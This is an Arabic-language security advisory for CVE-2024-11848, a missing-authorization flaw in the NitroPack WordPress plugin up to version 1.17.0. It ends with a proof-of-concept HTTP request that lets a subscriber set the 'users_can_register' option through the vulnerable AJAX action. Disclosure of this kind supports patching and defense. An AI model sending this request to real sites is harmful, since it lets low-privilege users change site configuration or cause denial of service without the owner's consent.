CVE-2024-11848

NitroPack <= 1.17.0 - غياب التفويض لتحديث محدود للخيارات للمستخدمين المصادق عليهم (مشترك+)

الوصف

إن إضافة NitroPack لووردبريس معرضة لتعديل غير مصرح به للبيانات بسبب عدم وجود فحص للصلاحية على إجراء AJAX 'nitropack_dismiss_notice_forever' في جميع الإصدارات وصولاً إلى 1.17.0 وشاملاً له. وهذا يتيح للمهاجمين المصادق عليهم، بصلاحية مستوى المشترك أو أعلى، تحديث خيارات عشوائية إلى قيمة ثابتة '1'، مما قد يؤدي إلى تفعيل خيارات معينة (مثل تمكين تسجيل المستخدمين) أو تعديل خيارات معينة بطريقة تؤدي إلى حالة حرمان من الخدمة.

التفاصيل

• النوع: إضافة
• Slug: nitropack
• الإصدار المتأثر: 1.17.0
• درجة CVSS: 8.1
• تصنيف CVSS: مرتفع
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CVE: CVE-2024-11848
• الحالة: نشط

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88

action=nitropack_dismiss_notice_forever&security=92f60ea3ea&notice_id=users_can_register